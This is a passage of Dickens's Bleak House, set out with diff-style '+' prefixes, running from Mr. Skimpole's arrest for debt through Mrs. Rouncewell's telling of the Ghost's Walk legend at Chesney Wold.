+"Took?" said I.
+
+"Took, miss. Sudden," said the maid.
+
+I was apprehensive that his illness might be of a dangerous kind, but
+of course I begged her to be quiet and not disturb any one and
+collected myself, as I followed her quickly upstairs, sufficiently to
+consider what were the best remedies to be applied if it should prove
+to be a fit. She threw open a door and I went into a chamber, where,
+to my unspeakable surprise, instead of finding Mr. Skimpole stretched
+upon the bed or prostrate on the floor, I found him standing before
+the fire smiling at Richard, while Richard, with a face of great
+embarrassment, looked at a person on the sofa, in a white great-coat,
+with smooth hair upon his head and not much of it, which he was
+wiping smoother and making less of with a pocket-handkerchief.
+
+"Miss Summerson," said Richard hurriedly, "I am glad you are come.
+You will be able to advise us. Our friend Mr. Skimpole--don't be
+alarmed!--is arrested for debt."
+
+"And really, my dear Miss Summerson," said Mr. Skimpole with his
+agreeable candour, "I never was in a situation in which that
+excellent sense and quiet habit of method and usefulness, which
+anybody must observe in you who has the happiness of being a quarter
+of an hour in your society, was more needed."
+
+The person on the sofa, who appeared to have a cold in his head, gave
+such a very loud snort that he startled me.
+
+"Are you arrested for much, sir?" I inquired of Mr. Skimpole.
+
+"My dear Miss Summerson," said he, shaking his head pleasantly, "I
+don't know. Some pounds, odd shillings, and halfpence, I think, were
+mentioned."
+
+"It's twenty-four pound, sixteen, and sevenpence ha'penny," observed
+the stranger. "That's wot it is."
+
+"And it sounds--somehow it sounds," said Mr. Skimpole, "like a small
+sum?"
+
+The strange man said nothing but made another snort. It was such a
+powerful one that it seemed quite to lift him out of his seat.
+
+"Mr. Skimpole," said Richard to me, "has a delicacy in applying to my
+cousin Jarndyce because he has lately--I think, sir, I understood you
+that you had lately--"
+
+"Oh, yes!" returned Mr. Skimpole, smiling. "Though I forgot how much
+it was and when it was. Jarndyce would readily do it again, but I
+have the epicure-like feeling that I would prefer a novelty in help,
+that I would rather," and he looked at Richard and me, "develop
+generosity in a new soil and in a new form of flower."
+
+"What do you think will be best, Miss Summerson?" said Richard,
+aside.
+
+I ventured to inquire, generally, before replying, what would happen
+if the money were not produced.
+
+"Jail," said the strange man, coolly putting his handkerchief into
+his hat, which was on the floor at his feet. "Or Coavinses."
+
+"May I ask, sir, what is--"
+
+"Coavinses?" said the strange man. "A 'ouse."
+
+Richard and I looked at one another again. It was a most singular
+thing that the arrest was our embarrassment and not Mr. Skimpole's.
+He observed us with a genial interest, but there seemed, if I may
+venture on such a contradiction, nothing selfish in it. He had
+entirely washed his hands of the difficulty, and it had become ours.
+
+"I thought," he suggested, as if good-naturedly to help us out, "that
+being parties in a Chancery suit concerning (as people say) a large
+amount of property, Mr. Richard or his beautiful cousin, or both,
+could sign something, or make over something, or give some sort of
+undertaking, or pledge, or bond? I don't know what the business name
+of it may be, but I suppose there is some instrument within their
+power that would settle this?"
+
+"Not a bit on it," said the strange man.
+
+"Really?" returned Mr. Skimpole. "That seems odd, now, to one who is
+no judge of these things!"
+
+"Odd or even," said the stranger gruffly, "I tell you, not a bit on
+it!"
+
+"Keep your temper, my good fellow, keep your temper!" Mr. Skimpole
+gently reasoned with him as he made a little drawing of his head on
+the fly-leaf of a book. "Don't be ruffled by your occupation. We can
+separate you from your office; we can separate the individual from
+the pursuit. We are not so prejudiced as to suppose that in private
+life you are otherwise than a very estimable man, with a great deal
+of poetry in your nature, of which you may not be conscious."
+
+The stranger only answered with another violent snort, whether in
+acceptance of the poetry-tribute or in disdainful rejection of it, he
+did not express to me.
+
+"Now, my dear Miss Summerson, and my dear Mr. Richard," said Mr.
+Skimpole gaily, innocently, and confidingly as he looked at his
+drawing with his head on one side, "here you see me utterly incapable
+of helping myself, and entirely in your hands! I only ask to be free.
+The butterflies are free. Mankind will surely not deny to Harold
+Skimpole what it concedes to the butterflies!"
+
+"My dear Miss Summerson," said Richard in a whisper, "I have ten
+pounds that I received from Mr. Kenge. I must try what that will do."
+
+I possessed fifteen pounds, odd shillings, which I had saved from my
+quarterly allowance during several years. I had always thought that
+some accident might happen which would throw me suddenly, without any
+relation or any property, on the world and had always tried to keep
+some little money by me that I might not be quite penniless. I told
+Richard of my having this little store and having no present need of
+it, and I asked him delicately to inform Mr. Skimpole, while I should
+be gone to fetch it, that we would have the pleasure of paying his
+debt.
+
+When I came back, Mr. Skimpole kissed my hand and seemed quite
+touched. Not on his own account (I was again aware of that perplexing
+and extraordinary contradiction), but on ours, as if personal
+considerations were impossible with him and the contemplation of our
+happiness alone affected him. Richard, begging me, for the greater
+grace of the transaction, as he said, to settle with Coavinses (as
+Mr. Skimpole now jocularly called him), I counted out the money and
+received the necessary acknowledgment. This, too, delighted Mr.
+Skimpole.
+
+His compliments were so delicately administered that I blushed less
+than I might have done and settled with the stranger in the white
+coat without making any mistakes. He put the money in his pocket and
+shortly said, "Well, then, I'll wish you a good evening, miss.
+
+"My friend," said Mr. Skimpole, standing with his back to the fire
+after giving up the sketch when it was half finished, "I should like
+to ask you something, without offence."
+
+I think the reply was, "Cut away, then!"
+
+"Did you know this morning, now, that you were coming out on this
+errand?" said Mr. Skimpole.
+
+"Know'd it yes'day aft'noon at tea-time," said Coavinses.
+
+"It didn't affect your appetite? Didn't make you at all uneasy?"
+
+"Not a bit," said Coavinses. "I know'd if you wos missed to-day, you
+wouldn't be missed to-morrow. A day makes no such odds."
+
+"But when you came down here," proceeded Mr. Skimpole, "it was a fine
+day. The sun was shining, the wind was blowing, the lights and
+shadows were passing across the fields, the birds were singing."
+
+"Nobody said they warn't, in MY hearing," returned Coavinses.
+
+"No," observed Mr. Skimpole. "But what did you think upon the road?"
+
+"Wot do you mean?" growled Coavinses with an appearance of strong
+resentment. "Think! I've got enough to do, and little enough to get
+for it without thinking. Thinking!" (with profound contempt).
+
+"Then you didn't think, at all events," proceeded Mr. Skimpole, "to
+this effect: 'Harold Skimpole loves to see the sun shine, loves to
+hear the wind blow, loves to watch the changing lights and shadows,
+loves to hear the birds, those choristers in Nature's great
+cathedral. And does it seem to me that I am about to deprive Harold
+Skimpole of his share in such possessions, which are his only
+birthright!' You thought nothing to that effect?"
+
+"I--certainly--did--NOT," said Coavinses, whose doggedness in utterly
+renouncing the idea was of that intense kind that he could only give
+adequate expression to it by putting a long interval between each
+word, and accompanying the last with a jerk that might have
+dislocated his neck.
+
+"Very odd and very curious, the mental process is, in you men of
+business!" said Mr. Skimpole thoughtfully. "Thank you, my friend.
+Good night."
+
+As our absence had been long enough already to seem strange
+downstairs, I returned at once and found Ada sitting at work by the
+fireside talking to her cousin John. Mr. Skimpole presently appeared,
+and Richard shortly after him. I was sufficiently engaged during the
+remainder of the evening in taking my first lesson in backgammon from
+Mr. Jarndyce, who was very fond of the game and from whom I wished of
+course to learn it as quickly as I could in order that I might be of
+the very small use of being able to play when he had no better
+adversary. But I thought, occasionally, when Mr. Skimpole played some
+fragments of his own compositions or when, both at the piano and the
+violoncello, and at our table, he preserved with an absence of all
+effort his delightful spirits and his easy flow of conversation, that
+Richard and I seemed to retain the transferred impression of having
+been arrested since dinner and that it was very curious altogether.
+
+It was late before we separated, for when Ada was going at eleven
+o'clock, Mr. Skimpole went to the piano and rattled hilariously that
+the best of all ways to lengthen our days was to steal a few hours
+from night, my dear! It was past twelve before he took his candle and
+his radiant face out of the room, and I think he might have kept us
+there, if he had seen fit, until daybreak. Ada and Richard were
+lingering for a few moments by the fire, wondering whether Mrs.
+Jellyby had yet finished her dictation for the day, when Mr.
+Jarndyce, who had been out of the room, returned.
+
+"Oh, dear me, what's this, what's this!" he said, rubbing his head
+and walking about with his good-humoured vexation. "What's this they
+tell me? Rick, my boy, Esther, my dear, what have you been doing? Why
+did you do it? How could you do it? How much apiece was it? The
+wind's round again. I feel it all over me!"
+
+We neither of us quite knew what to answer.
+
+"Come, Rick, come! I must settle this before I sleep. How much are
+you out of pocket? You two made the money up, you know! Why did you?
+How could you? Oh, Lord, yes, it's due east--must be!"
+
+"Really, sir," said Richard, "I don't think it would be honourable in
+me to tell you. Mr. Skimpole relied upon us--"
+
+"Lord bless you, my dear boy! He relies upon everybody!" said Mr.
+Jarndyce, giving his head a great rub and stopping short.
+
+"Indeed, sir?"
+
+"Everybody! And he'll be in the same scrape again next week!" said
+Mr. Jarndyce, walking again at a great pace, with a candle in his
+hand that had gone out. "He's always in the same scrape. He was born
+in the same scrape. I verily believe that the announcement in the
+newspapers when his mother was confined was 'On Tuesday last, at her
+residence in Botheration Buildings, Mrs. Skimpole of a son in
+difficulties.'"
+
+Richard laughed heartily but added, "Still, sir, I don't want to
+shake his confidence or to break his confidence, and if I submit to
+your better knowledge again, that I ought to keep his secret, I hope
+you will consider before you press me any more. Of course, if you do
+press me, sir, I shall know I am wrong and will tell you."
+
+"Well!" cried Mr. Jarndyce, stopping again, and making several absent
+endeavours to put his candlestick in his pocket. "I--here! Take it
+away, my dear. I don't know what I am about with it; it's all the
+wind--invariably has that effect--I won't press you, Rick; you may be
+right. But really--to get hold of you and Esther--and to squeeze you
+like a couple of tender young Saint Michael's oranges! It'll blow a
+gale in the course of the night!"
+
+He was now alternately putting his hands into his pockets as if he
+were going to keep them there a long time, and taking them out again
+and vehemently rubbing them all over his head.
+
+I ventured to take this opportunity of hinting that Mr. Skimpole,
+being in all such matters quite a child--
+
+"Eh, my dear?" said Mr. Jarndyce, catching at the word.
+
+"Being quite a child, sir," said I, "and so different from other
+people--"
+
+"You are right!" said Mr. Jarndyce, brightening. "Your woman's wit
+hits the mark. He is a child--an absolute child. I told you he was a
+child, you know, when I first mentioned him."
+
+Certainly! Certainly! we said.
+
+"And he IS a child. Now, isn't he?" asked Mr. Jarndyce, brightening
+more and more.
+
+He was indeed, we said.
+
+"When you come to think of it, it's the height of childishness in
+you--I mean me--" said Mr. Jarndyce, "to regard him for a moment as a
+man. You can't make HIM responsible. The idea of Harold Skimpole with
+designs or plans, or knowledge of consequences! Ha, ha, ha!"
+
+It was so delicious to see the clouds about his bright face clearing,
+and to see him so heartily pleased, and to know, as it was impossible
+not to know, that the source of his pleasure was the goodness which
+was tortured by condemning, or mistrusting, or secretly accusing any
+one, that I saw the tears in Ada's eyes, while she echoed his laugh,
+and felt them in my own.
+
+"Why, what a cod's head and shoulders I am," said Mr. Jarndyce, "to
+require reminding of it! The whole business shows the child from
+beginning to end. Nobody but a child would have thought of singling
+YOU two out for parties in the affair! Nobody but a child would have
+thought of YOUR having the money! If it had been a thousand pounds,
+it would have been just the same!" said Mr. Jarndyce with his whole
+face in a glow.
+
+We all confirmed it from our night's experience.
+
+"To be sure, to be sure!" said Mr. Jarndyce. "However, Rick, Esther,
+and you too, Ada, for I don't know that even your little purse is
+safe from his inexperience--I must have a promise all round that
+nothing of this sort shall ever be done any more. No advances! Not
+even sixpences."
+
+We all promised faithfully, Richard with a merry glance at me
+touching his pocket as if to remind me that there was no danger of
+OUR transgressing.
+
+"As to Skimpole," said Mr. Jarndyce, "a habitable doll's house with
+good board and a few tin people to get into debt with and borrow
+money of would set the boy up in life. He is in a child's sleep by
+this time, I suppose; it's time I should take my craftier head to my
+more worldly pillow. Good night, my dears. God bless you!"
+
+He peeped in again, with a smiling face, before we had lighted our
+candles, and said, "Oh! I have been looking at the weather-cock. I
+find it was a false alarm about the wind. It's in the south!" And
+went away singing to himself.
+
+Ada and I agreed, as we talked together for a little while upstairs,
+that this caprice about the wind was a fiction and that he used the
+pretence to account for any disappointment he could not conceal,
+rather than he would blame the real cause of it or disparage or
+depreciate any one. We thought this very characteristic of his
+eccentric gentleness and of the difference between him and those
+petulant people who make the weather and the winds (particularly that
+unlucky wind which he had chosen for such a different purpose) the
+stalking-horses of their splenetic and gloomy humours.
+
+Indeed, so much affection for him had been added in this one evening
+to my gratitude that I hoped I already began to understand him
+through that mingled feeling. Any seeming inconsistencies in Mr.
+Skimpole or in Mrs. Jellyby I could not expect to be able to
+reconcile, having so little experience or practical knowledge.
+Neither did I try, for my thoughts were busy when I was alone, with
+Ada and Richard and with the confidence I had seemed to receive
+concerning them. My fancy, made a little wild by the wind perhaps,
+would not consent to be all unselfish, either, though I would have
+persuaded it to be so if I could. It wandered back to my godmother's
+house and came along the intervening track, raising up shadowy
+speculations which had sometimes trembled there in the dark as to
+what knowledge Mr. Jarndyce had of my earliest history--even as to
+the possibility of his being my father, though that idle dream was
+quite gone now.
+
+It was all gone now, I remembered, getting up from the fire. It was
+not for me to muse over bygones, but to act with a cheerful spirit
+and a grateful heart. So I said to myself, "Esther, Esther, Esther!
+Duty, my dear!" and gave my little basket of housekeeping keys such a
+shake that they sounded like little bells and rang me hopefully to
+bed.
+
+
+
+
+CHAPTER VII
+
+The Ghost's Walk
+
+
+While Esther sleeps, and while Esther wakes, it is still wet weather
+down at the place in Lincolnshire. The rain is ever falling--drip,
+drip, drip--by day and night upon the broad flagged terrace-pavement,
+the Ghost's Walk. The weather is so very bad down in Lincolnshire
+that the liveliest imagination can scarcely apprehend its ever being
+fine again. Not that there is any superabundant life of imagination
+on the spot, for Sir Leicester is not here (and, truly, even if he
+were, would not do much for it in that particular), but is in Paris
+with my Lady; and solitude, with dusky wings, sits brooding upon
+Chesney Wold.
+
+There may be some motions of fancy among the lower animals at Chesney
+Wold. The horses in the stables--the long stables in a barren,
+red-brick court-yard, where there is a great bell in a turret, and a
+clock with a large face, which the pigeons who live near it and who
+love to perch upon its shoulders seem to be always consulting--THEY
+may contemplate some mental pictures of fine weather on occasions,
+and may be better artists at them than the grooms. The old roan, so
+famous for cross-country work, turning his large eyeball to the
+grated window near his rack, may remember the fresh leaves that
+glisten there at other times and the scents that stream in, and may
+have a fine run with the hounds, while the human helper, clearing out
+the next stall, never stirs beyond his pitchfork and birch-broom. The
+grey, whose place is opposite the door and who with an impatient
+rattle of his halter pricks his ears and turns his head so wistfully
+when it is opened, and to whom the opener says, "Woa grey, then,
+steady! Noabody wants you to-day!" may know it quite as well as the
+man. The whole seemingly monotonous and uncompanionable half-dozen,
+stabled together, may pass the long wet hours when the door is shut
+in livelier communication than is held in the servants' hall or at
+the Dedlock Arms, or may even beguile the time by improving (perhaps
+corrupting) the pony in the loose-box in the corner.
+
+So the mastiff, dozing in his kennel in the court-yard with his large
+head on his paws, may think of the hot sunshine when the shadows of
+the stable-buildings tire his patience out by changing and leave him
+at one time of the day no broader refuge than the shadow of his own
+house, where he sits on end, panting and growling short, and very
+much wanting something to worry besides himself and his chain. So
+now, half-waking and all-winking, he may recall the house full of
+company, the coach-houses full of vehicles, the stables full of
+horses, and the out-buildings full of attendants upon horses, until
+he is undecided about the present and comes forth to see how it is.
+Then, with that impatient shake of himself, he may growl in the
+spirit, "Rain, rain, rain! Nothing but rain--and no family here!" as
+he goes in again and lies down with a gloomy yawn.
+
+So with the dogs in the kennel-buildings across the park, who have
+their restless fits and whose doleful voices when the wind has been
+very obstinate have even made it known in the house itself--upstairs,
+downstairs, and in my Lady's chamber. They may hunt the whole
+country-side, while the raindrops are pattering round their
+inactivity. So the rabbits with their self-betraying tails, frisking
+in and out of holes at roots of trees, may be lively with ideas of
+the breezy days when their ears are blown about or of those seasons
+of interest when there are sweet young plants to gnaw. The turkey in
+the poultry-yard, always troubled with a class-grievance (probably
+Christmas), may be reminiscent of that summer morning wrongfully
+taken from him when he got into the lane among the felled trees,
+where there was a barn and barley. The discontented goose, who stoops
+to pass under the old gateway, twenty feet high, may gabble out, if
+we only knew it, a waddling preference for weather when the gateway
+casts its shadow on the ground.
+
+Be this as it may, there is not much fancy otherwise stirring at
+Chesney Wold. If there be a little at any odd moment, it goes, like a
+little noise in that old echoing place, a long way and usually leads
+off to ghosts and mystery.
+
+It has rained so hard and rained so long down in Lincolnshire that
+Mrs. Rouncewell, the old housekeeper at Chesney Wold, has several
+times taken off her spectacles and cleaned them to make certain that
+the drops were not upon the glasses. Mrs. Rouncewell might have been
+sufficiently assured by hearing the rain, but that she is rather
+deaf, which nothing will induce her to believe. She is a fine old
+lady, handsome, stately, wonderfully neat, and has such a back and
+such a stomacher that if her stays should turn out when she dies to
+have been a broad old-fashioned family fire-grate, nobody who knows
+her would have cause to be surprised. Weather affects Mrs. Rouncewell
+little. The house is there in all weathers, and the house, as she
+expresses it, "is what she looks at." She sits in her room (in a side
+passage on the ground floor, with an arched window commanding a
+smooth quadrangle, adorned at regular intervals with smooth round
+trees and smooth round blocks of stone, as if the trees were going to
+play at bowls with the stones), and the whole house reposes on her
+mind. She can open it on occasion and be busy and fluttered, but it
+is shut up now and lies on the breadth of Mrs. Rouncewell's
+iron-bound bosom in a majestic sleep.
+
+It is the next difficult thing to an impossibility to imagine Chesney
+Wold without Mrs. Rouncewell, but she has only been here fifty years.
+Ask her how long, this rainy day, and she shall answer "fifty year,
+three months, and a fortnight, by the blessing of heaven, if I live
+till Tuesday." Mr. Rouncewell died some time before the decease of
+the pretty fashion of pig-tails, and modestly hid his own (if he took
+it with him) in a corner of the churchyard in the park near the
+mouldy porch. He was born in the market-town, and so was his young
+widow. Her progress in the family began in the time of the last Sir
+Leicester and originated in the still-room.
+
+The present representative of the Dedlocks is an excellent master. He
+supposes all his dependents to be utterly bereft of individual
+characters, intentions, or opinions, and is persuaded that he was
+born to supersede the necessity of their having any. If he were to
+make a discovery to the contrary, he would be simply stunned--would
+never recover himself, most likely, except to gasp and die. But he is
+an excellent master still, holding it a part of his state to be so.
+He has a great liking for Mrs. Rouncewell; he says she is a most
+respectable, creditable woman. He always shakes hands with her when
+he comes down to Chesney Wold and when he goes away; and if he were
+very ill, or if he were knocked down by accident, or run over, or
+placed in any situation expressive of a Dedlock at a disadvantage, he
+would say if he could speak, "Leave me, and send Mrs. Rouncewell
+here!" feeling his dignity, at such a pass, safer with her than with
+anybody else.
+
+Mrs. Rouncewell has known trouble. She has had two sons, of whom the
+younger ran wild, and went for a soldier, and never came back. Even
+to this hour, Mrs. Rouncewell's calm hands lose their composure when
+she speaks of him, and unfolding themselves from her stomacher, hover
+about her in an agitated manner as she says what a likely lad, what a
+fine lad, what a gay, good-humoured, clever lad he was! Her second
+son would have been provided for at Chesney Wold and would have been
+made steward in due season, but he took, when he was a schoolboy, to
+constructing steam-engines out of saucepans and setting birds to draw
+their own water with the least possible amount of labour, so
+assisting them with artful contrivance of hydraulic pressure that a
+thirsty canary had only, in a literal sense, to put his shoulder to
+the wheel and the job was done. This propensity gave Mrs. Rouncewell
+great uneasiness. She felt it with a mother's anguish to be a move in
+the Wat Tyler direction, well knowing that Sir Leicester had that
+general impression of an aptitude for any art to which smoke and a
+tall chimney might be considered essential. But the doomed young
+rebel (otherwise a mild youth, and very persevering), showing no sign
+of grace as he got older but, on the contrary, constructing a model
+of a power-loom, she was fain, with many tears, to mention his
+backslidings to the baronet. "Mrs. Rouncewell," said Sir Leicester,
+"I can never consent to argue, as you know, with any one on any
+subject. You had better get rid of your boy; you had better get him
+into some Works. The iron country farther north is, I suppose, the
+congenial direction for a boy with these tendencies." Farther north
+he went, and farther north he grew up; and if Sir Leicester Dedlock
+ever saw him when he came to Chesney Wold to visit his mother, or
+ever thought of him afterwards, it is certain that he only regarded
+him as one of a body of some odd thousand conspirators, swarthy and
+grim, who were in the habit of turning out by torchlight two or three
+nights in the week for unlawful purposes.
+
+Nevertheless, Mrs. Rouncewell's son has, in the course of nature and
+art, grown up, and established himself, and married, and called unto
+him Mrs. Rouncewell's grandson, who, being out of his apprenticeship,
+and home from a journey in far countries, whither he was sent to
+enlarge his knowledge and complete his preparations for the venture
+of this life, stands leaning against the chimney-piece this very day
+in Mrs. Rouncewell's room at Chesney Wold.
+
+"And, again and again, I am glad to see you, Watt! And, once again, I
+am glad to see you, Watt!" says Mrs. Rouncewell. "You are a fine
+young fellow. You are like your poor uncle George. Ah!" Mrs.
+Rouncewell's hands unquiet, as usual, on this reference.
+
+"They say I am like my father, grandmother."
+
+"Like him, also, my dear--but most like your poor uncle George! And
+your dear father." Mrs. Rouncewell folds her hands again. "He is
+well?"
+
+"Thriving, grandmother, in every way."
+
+"I am thankful!" Mrs. Rouncewell is fond of her son but has a
+plaintive feeling towards him, much as if he were a very honourable
+soldier who had gone over to the enemy.
+
+"He is quite happy?" says she.
+
+"Quite."
+
+"I am thankful! So he has brought you up to follow in his ways and
+has sent you into foreign countries and the like? Well, he knows
+best. There may be a world beyond Chesney Wold that I don't
+understand. Though I am not young, either. And I have seen a quantity
+of good company too!"
+
+"Grandmother," says the young man, changing the subject, "what a very
+pretty girl that was I found with you just now. You called her Rosa?"
+
+"Yes, child. She is daughter of a widow in the village. Maids are so
+hard to teach, now-a-days, that I have put her about me young. She's
+an apt scholar and will do well. She shows the house already, very
+pretty. She lives with me at my table here."
+
+"I hope I have not driven her away?"
+
+"She supposes we have family affairs to speak about, I dare say. She
+is very modest. It is a fine quality in a young woman. And scarcer,"
+says Mrs. Rouncewell, expanding her stomacher to its utmost limits,
+"than it formerly was!"
+
+The young man inclines his head in acknowledgment of the precepts of
+experience. Mrs. Rouncewell listens.
+
+"Wheels!" says she. They have long been audible to the younger ears
+of her companion. "What wheels on such a day as this, for gracious
+sake?"
+
+After a short interval, a tap at the door. "Come in!" A dark-eyed,
+dark-haired, shy, village beauty comes in--so fresh in her rosy and
+yet delicate bloom that the drops of rain which have beaten on her
+hair look like the dew upon a flower fresh gathered.
+
+"What company is this, Rosa?" says Mrs. Rouncewell.
+
+"It's two young men in a gig, ma'am, who want to see the house--yes,
+and if you please, I told them so!" in quick reply to a gesture of
+dissent from the housekeeper. "I went to the hall-door and told them
+it was the wrong day and the wrong hour, but the young man who was
+driving took off his hat in the wet and begged me to bring this card
+to you."
+
+"Read it, my dear Watt," says the housekeeper.
+
+Rosa is so shy as she gives it to him that they drop it between them
+and almost knock their foreheads together as they pick it up. Rosa is
+shyer than before.
+
+"Mr. Guppy" is all the information the card yields.
+
+"Guppy!" repeats Mrs. Rouncewell, "MR. Guppy! Nonsense, I never heard
+of him!"
+
+"If you please, he told ME that!" says Rosa. "But he said that he and
+the other young gentleman came from London only last night by the
+mail, on business at the magistrates' meeting, ten miles off, this
+morning, and that as their business was soon over, and they had heard
+a great deal said of Chesney Wold, and really didn't know what to do
+with themselves, they had come through the wet to see it. They are
+lawyers. He says he is not in Mr. Tulkinghorn's office, but he is
+sure he may make use of Mr. Tulkinghorn's name if necessary."
+Finding, now she leaves off, that she has been making quite a long
+speech, Rosa is shyer than ever.
+
+Now, Mr. Tulkinghorn is, in a manner, part and parcel of the place,
+and besides, is supposed to have made Mrs. Rouncewell's will. The old
+lady relaxes, consents to the admission of the visitors as a favour,
+and dismisses Rosa. The grandson, however, being smitten by a sudden
+wish to see the house himself, proposes to join the party. The
+grandmother, who is pleased that he should have that interest,
+accompanies him--though to do him justice, he is exceedingly
+unwilling to trouble her.
+
+"Much obliged to you, ma'am!" says Mr. Guppy, divesting himself of
+his wet dreadnought in the hall. "Us London lawyers don't often get
+an out, and when we do, we like to make the most of it, you know."
+
+The old housekeeper, with a gracious severity of deportment, waves
+her hand towards the great staircase. Mr. Guppy and his friend follow
+Rosa; Mrs. Rouncewell and her grandson follow them; a young gardener
+goes before to open the shutters.
+
+As is usually the case with people who go over houses, Mr. Guppy and
+his friend are dead beat before they have well begun. They straggle
+about in wrong places, look at wrong things, don't care for the right
+things, gape when more rooms are opened, exhibit profound depression
+of spirits, and are clearly knocked up. In each successive chamber
+that they enter, Mrs. Rouncewell, who is as upright as the house
+itself, rests apart in a window-seat or other such nook and listens
+with stately approval to Rosa's exposition. Her grandson is so
+attentive to it that Rosa is shyer than ever--and prettier. Thus they
+pass on from room to room, raising the pictured Dedlocks for a few
+brief minutes as the young gardener admits the light, and
+reconsigning them to their graves as he shuts it out again. It
+appears to the afflicted Mr. Guppy and his inconsolable friend that
+there is no end to the Dedlocks, whose family greatness seems to
+consist in their never having done anything to distinguish themselves
+for seven hundred years.
+
+Even the long drawing-room of Chesney Wold cannot revive Mr. Guppy's
+spirits. He is so low that he droops on the threshold and has hardly
+strength of mind to enter. But a portrait over the chimney-piece,
+painted by the fashionable artist of the day, acts upon him like a
+charm. He recovers in a moment. He stares at it with uncommon
+interest; he seems to be fixed and fascinated by it.
+
+"Dear me!" says Mr. Guppy. "Who's that?"
+
+"The picture over the fire-place," says Rosa, "is the portrait of the
+present Lady Dedlock. It is considered a perfect likeness, and the
+best work of the master."
+
+"Blest," says Mr. Guppy, staring in a kind of dismay at his friend,
+"if I can ever have seen her. Yet I know her! Has the picture been
+engraved, miss?"
+
+"The picture has never been engraved. Sir Leicester has always
+refused permission."
+
+"Well!" says Mr. Guppy in a low voice. "I'll be shot if it ain't very
+curious how well I know that picture! So that's Lady Dedlock, is it!"
+
+"The picture on the right is the present Sir Leicester Dedlock. The
+picture on the left is his father, the late Sir Leicester."
+
+Mr. Guppy has no eyes for either of these magnates. "It's
+unaccountable to me," he says, still staring at the portrait, "how
+well I know that picture! I'm dashed," adds Mr. Guppy, looking round,
+"if I don't think I must have had a dream of that picture, you know!"
+
+As no one present takes any especial interest in Mr. Guppy's dreams,
+the probability is not pursued. But he still remains so absorbed by
+the portrait that he stands immovable before it until the young
+gardener has closed the shutters, when he comes out of the room in a
+dazed state that is an odd though a sufficient substitute for
+interest and follows into the succeeding rooms with a confused stare,
+as if he were looking everywhere for Lady Dedlock again.
+
+He sees no more of her. He sees her rooms, which are the last shown,
+as being very elegant, and he looks out of the windows from which she
+looked out, not long ago, upon the weather that bored her to death.
+All things have an end, even houses that people take infinite pains
+to see and are tired of before they begin to see them. He has come to
+the end of the sight, and the fresh village beauty to the end of her
+description; which is always this: "The terrace below is much
+admired. It is called, from an old story in the family, the Ghost's
+Walk."
+
+"No?" says Mr. Guppy, greedily curious. "What's the story, miss? Is
+it anything about a picture?"
+
+"Pray tell us the story," says Watt in a half whisper.
+
+"I don't know it, sir." Rosa is shyer than ever.
+
+"It is not related to visitors; it is almost forgotten," says the
+housekeeper, advancing. "It has never been more than a family
+anecdote."
+
+"You'll excuse my asking again if it has anything to do with a
+picture, ma'am," observes Mr. Guppy, "because I do assure you that
+the more I think of that picture the better I know it, without
+knowing how I know it!"
+
+The story has nothing to do with a picture; the housekeeper can
+guarantee that. Mr. Guppy is obliged to her for the information and
+is, moreover, generally obliged. He retires with his friend, guided
+down another staircase by the young gardener, and presently is heard
+to drive away. It is now dusk. Mrs. Rouncewell can trust to the
+discretion of her two young hearers and may tell THEM how the terrace
+came to have that ghostly name.
+
+She seats herself in a large chair by the fast-darkening window and
+tells them: "In the wicked days, my dears, of King Charles the
+First--I mean, of course, in the wicked days of the rebels who
+leagued themselves against that excellent king--Sir Morbury Dedlock
+was the owner of Chesney Wold. Whether there was any account of a
+ghost in the family before those days, I can't say. I should think it
+very likely indeed."
+
+Mrs. Rouncewell holds this opinion because she considers that a
+family of such antiquity and importance has a right to a ghost. She
+regards a ghost as one of the privileges of the upper classes, a
+genteel distinction to which the common people have no claim.
+
+"Sir Morbury Dedlock," says Mrs. Rouncewell, "was, I have no occasion
+to say, on the side of the blessed martyr. But it IS supposed that
+his Lady, who had none of the family blood in her veins, favoured the
+bad cause. It is said that she had relations among King Charles's
+enemies, that she was in correspondence with them, and that she gave
+them information. When any of the country gentlemen who followed his
+Majesty's cause met here, it is said that my Lady was always nearer
+to the door of their council-room than they supposed. Do you hear a
+sound like a footstep passing along the terrace, Watt?"
+
+Rosa draws nearer to the housekeeper.
+
+"I hear the rain-drip on the stones," replies the young man, "and I
+hear a curious echo--I suppose an echo--which is very like a halting
+step."
+
+The housekeeper gravely nods and continues: "Partly on account of
+this division between them, and partly on other accounts, Sir Morbury
+and his Lady led a troubled life. She was a lady of a haughty temper.
+They were not well suited to each other in age or character, and they
+had no children to moderate between them. After her favourite
+brother, a young gentleman, was killed in the civil wars (by Sir
+Morbury's near kinsman), her feeling was so violent that she hated
+the race into which she had married. When the Dedlocks were about to
+ride out from Chesney Wold in the king's cause, she is supposed to
+have more than once stolen down into the stables in the dead of night
+and lamed their horses; and the story is that once at such an hour,
+her husband saw her gliding down the stairs and followed her into the
+stall where his own favourite horse stood. There he seized her by the
+wrist, and in a struggle or in a fall or through the horse being
+frightened and lashing out, she was lamed in the hip and from that
+hour began to pine away."
+
+The housekeeper has dropped her voice to a little more than a
+whisper.
+
+"She had been a lady of a handsome figure and a noble carriage. She
+never complained of the change; she never spoke to any one of being
+crippled or of being in pain, but day by day she tried to walk upon
+the terrace, and with the help of the stone balustrade, went up and
+down, up and down, up and down, in sun and shadow, with greater
+difficulty every day. At last, one afternoon her husband (to whom she
+had never, on any persuasion, opened her lips since that night),
+standing at the great south window, saw her drop upon the pavement.
+He hastened down to raise her, but she repulsed him as he bent over
+her, and looking at him fixedly and coldly, said, 'I will die here
+where I have walked. And I will walk here, though I am in my grave. I
+will walk here until the pride of this house is humbled. And when
+calamity or when disgrace is coming to it, let the Dedlocks listen
+for my step!'"
+
+Watt looks at Rosa. Rosa in the deepening gloom looks down upon the
+ground, half frightened and half shy.
+
+"There and then she died. And from those days," says Mrs. Rouncewell,
+"the name has come down--the Ghost's Walk. If the tread is an echo,
+it is an echo that is only heard after dark, and is often unheard for
+a long while together. But it comes back from time to time; and so
+sure as there is sickness or death in the family, it will be heard
+then."
+
+"And disgrace, grandmother--" says Watt.
+
+"Disgrace never comes to Chesney Wold," returns the housekeeper.
+
+Her grandson apologizes with "True. True."
+
+"That is the story. Whatever the sound is, it is a worrying sound,"
+says Mrs. Rouncewell, getting up from her chair; "and what is to be
+noticed in it is that it MUST BE HEARD. My Lady, who is afraid of
+nothing, admits that when it is there, it must be heard. You cannot
+shut it out. Watt, there is a tall French clock behind you (placed
+there, 'a purpose) that has a loud beat when it is in motion and can
+play music. You understand how those things are managed?"
+
+"Pretty well, grandmother, I think."
+
+"Set it a-going."
+
+Watt sets it a-going--music and all.
+
+"Now, come hither," says the housekeeper. "Hither, child, towards my
